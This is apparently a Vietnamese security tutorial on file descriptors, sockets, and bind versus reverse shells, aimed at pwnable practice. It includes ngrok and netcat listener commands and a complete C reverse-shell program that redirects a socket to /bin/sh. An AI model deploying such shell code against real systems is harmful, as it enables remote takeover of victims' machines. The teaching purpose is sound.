# Reverse shell & Bind shell ## 1. file descriptor ### :open_file_folder: what is file descriptor ? - `file descriptor` là một số nguyên duy nhất dùng để xác định một tệp đã mở trong một tiến trình. - Khi một tiến trình mở một tệp, hệ điều hành sẽ gán một con số (file descriptor) để biểu diễn cho tệp đó. :::info Ví dụ: stdin có file descriptor là 0, stdout là 1, và stderr là 2. Các file descriptor khác sẽ được gán cho những tệp hoặc `socket` mở sau đó. ::: ### :open_file_folder: File descriptor table - `File Descriptor Table` là một bảng các chỉ số trong mảng (array indices) đại diện cho các file descriptor, mà mỗi phần tử trong bảng này là một con trỏ trỏ tới một mục trong bảng tệp (file table entry). ![image](https://hackmd.io/_uploads/SkJchyEkJx.png) :::info - Qua hình ta có thể thấy mỗi process sẽ có 1 file descriptor table - Mỗi entry trong file này sẽ trỏ đến 1 entry trong `File Table Entry` ; mỗi entry sẽ gồm : file name + file position ::: | file descriptor table | file table entry | | -------- | -------- | | 0 | stdin | | 1|stdout| |2| stderr| |3|socket | |4| ...| ### :open_file_folder: Standard File Descriptors ![image](https://hackmd.io/_uploads/BkLiGg4k1e.png) - Có 3 file descriptor cơ bản : stdin, stdout, stderr - `/dev/tty`: Đại diện cho terminal. - `terminal`: bàn phím/ màn hình :::info - Đọc từ `stdin` => đọc từ fd 0 : Bất cứ khi nào chúng ta viết bất kỳ ký tự nào từ bàn phím, nó sẽ đọc từ stdin qua fd 0 và lưu vào một tệp có tên là /dev/tty. - Ghi vào `stdout` => ghi vào fd 1 : Bất cứ khi nào chúng ta thấy bất kỳ đầu ra nào trên màn hình video, thì nó từ tệp có tên là /dev/tty và được ghi vào stdout trong screen thông qua fd 1. - Ghi vào `stderr` => ghi vào fd 2 : Chúng ta thấy bất kỳ lỗi nào trên màn hình video, thì nó cũng từ tệp đó ghi vào stderr trong screen thông qua fd 2. ::: ## 2. Socket ![image](https://hackmd.io/_uploads/BJSyLlEyye.png) - `Socket` là `file descriptor` đóng vai trò là điểm cuối giao tiếp cho các quy trình chạy trên thiết bị đó. - Mỗi Socket Linux bao gồm địa chỉ `IP` của thiết bị và `port` đã chọn. :::success :point_right: Như chúng ta đã thảo luận về `file descriptor` thì để giao tiếp với keyboard/monitor (stdin, stdout, stderr) , liên hệ tới socket sẽ giúp ta tương tác với mạng ::: ### Hoạt động của socket - Mô hình `client-server` ![image](https://hackmd.io/_uploads/r1VIul4ykg.png) :point_right: On the server side: - socket() : tạo socket để tương tác với mạng. - bind(): liên kết socket với ip và ports . - listen(): đợi yêu cầu kết nối từ địa chỉ network được chỉ định - accept(): nhận kết nối từ client - read() and write(): giao tiếp sau khi server thiết lập liên lạc và tạo socket mới cho client :point_right: On the client side: - socket() : tạo socket để tương tác với mạng. - connect(): gửi yêu cầu kêt nối với server (về cơ bản đến đây là đã hoàn thành kêt nối ) - send() and recv() : gửi và nhận data tương ứng ## 3. Reverse shell & Bind shell ![image](https://hackmd.io/_uploads/By4w4tIpR.png) ### :open_file_folder: Bind shell ![image](https://hackmd.io/_uploads/r13GHmEkJe.png) - `Bind shell` là một loại shell trong đó máy `victim` mở một cổng giao tiếp hoặc một trình lắng nghe trên máy `victim` và chờ kết nối đến. Sau đó, kẻ tấn công kết nối với trình lắng nghe của máy `victim`, dẫn đến thực thi mã hoặc lệnh trên `victim` (server). :::info :point_right: Các bước thực hiện `bind shell` : **Bước 1**: attacker khai thác một lỗ hổng trên máy victim để thực hiện payload. **Bước 2**: máy victim thực hiện lắng nghe trên một port cụ thể để chờ máy attacker kết nối đến. **Bước 3**: attacker chủ động kết nối đến port đang lắng nghe ở máy victim rồi thực thi payload để lấy được remote shell. ::: ### :open_file_folder: Reverse shell ![image](https://hackmd.io/_uploads/HJAu5QEkke.png) - `Reverse shell` là một dạng remote shell được khởi tạo từ máy victim bằng cách kết nối trở lại máy attacker và tạo ra một bản shell của máy victim trên máy attacker. Thông thường, kỹ thuật này được sử dụng trong quá trình khai thác để kiểm soát máy từ xa. :::info :point_right: Các bước thực hiện `reverse shell` **Bước 1**: attacker khai thác một lỗ hổng trên máy victim để thực hiện payload. **Bước 2**: attacker thiết lập lắng nghe kết nối trên port cụ thể để chờ đợi kết nối từ máy victim. **Bước 3**: khi payload được thực thi trên máy victim, nó tạo ra một kết nối ngược đến máy attacker, cung cấp cho attacker khả năng kiểm soát từ xa trên hệ thống victim thông qua một giao diện dòng lệnh hoặc một môi trường shell. ::: ## 4. Triển khai Reverse shell & Bind shell ### :open_file_folder: Bind shell - Bước 1: Server mở port listener chờ kết nối (victim) ![image](https://hackmd.io/_uploads/H1Ip6mVkke.png) - Ở đây mình chủ động cấp remote shell nhưng thực thế thì phải khai thác lỗi sau đó get shell ở server để lấy remote shell. - Bước 2: Máy attacker kết nối tới ip, port mà victim mở ![image](https://hackmd.io/_uploads/Hy2rTQVkyg.png) ### :open_file_folder: Reverse shell - Ở đây mình sẽ phân tích theo hướng pwnable ![image](https://hackmd.io/_uploads/HJAu5QEkke.png) #### :desktop_computer: Chuẩn bị từ máy attacker - Mở IP public để forward tới IP localhost của máy attacker - Terminal 1: `ngrok tcp 8080` ![image](https://hackmd.io/_uploads/HJ-ix44Jkx.png) :::info IP : 0.tcp.ap.ngrok.io hoặc `ping 0.tcp.ap.ngrok.io` để lấy IP Port : 10440 ::: - Terminal 2: `nc -lnvp 8080` (mở local để chuẩn bị cho victim connect tới ) #### :globe_with_meridians: Chuẩn bị payload tới victim - Bản chất chính là biến `victim` thành máy `client` chủ động kết nối tới 1 server chính là máy attacker. - Các công việc cần chuẩn bị: - `socket` : socket(AF_INET, SOCK_STREAM, 6); :::info :point_right: Khởi tạo fd socket để chuẩn bị kết nối. ::: - `connect` : connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); :::info - :point_right: Gửi `request` yêu cầu đến nối tới IP của máy attacker - sockfd : tạo liên kết giữa địa chỉ đích và socket. - struct sockaddr *addr : Địa chỉ của IP (Tạo struct) - addrlen : Độ dài của địa chỉ ::: - `dup2`: dup2(int oldfd, int newfd); :::info :point_right: Sao chép nội dung ở oldfd -> newfd ::: - `execve` : execve(const char *pathname, char *const argv[], char *const envp[]); ##### Reverse shell in C programming ```c #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void){ int port = 8080; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"/bin/sh", NULL}; execve("/bin/sh", argv, NULL); return 0; } ``` ```c // Cách hoạt động của dup2 #include<stdlib.h> #include<unistd.h> #include<stdio.h> #include<fcntl.h> int main() { int newfd = open("test.txt",O_WRONLY | O_APPEND); ) dup2(newfd, 1) ; // sao chép nội dung newfd(fd của test.txt) //vào stdout -> mỗi lần cần stdout thì sẽ thay vì in ra màn hình thì in vào file test.txt printf("I will be printed in the file tricky.txt\n"); return 0; } ``` ```c // CPP program to illustrate dup() #include<stdio.h> #include <unistd.h> #include <fcntl.h> int main() { // open() returns a file descriptor file_desc to a // the file "dup.txt" here" int file_desc = open("dup.txt", O_WRONLY | O_APPEND); if(file_desc < 0) printf("Error opening the file\n"); // dup() will create the copy of file_desc as the copy_desc // then both can be used interchangeably. int copy_desc = dup(file_desc); // write() will write the given string into the file // referred by the file descriptors write(copy_desc,"This will be output to the file named dup.txt\n", 46); write(file_desc,"This will also be output to the file named dup.txt\n", 51); return 0; } ```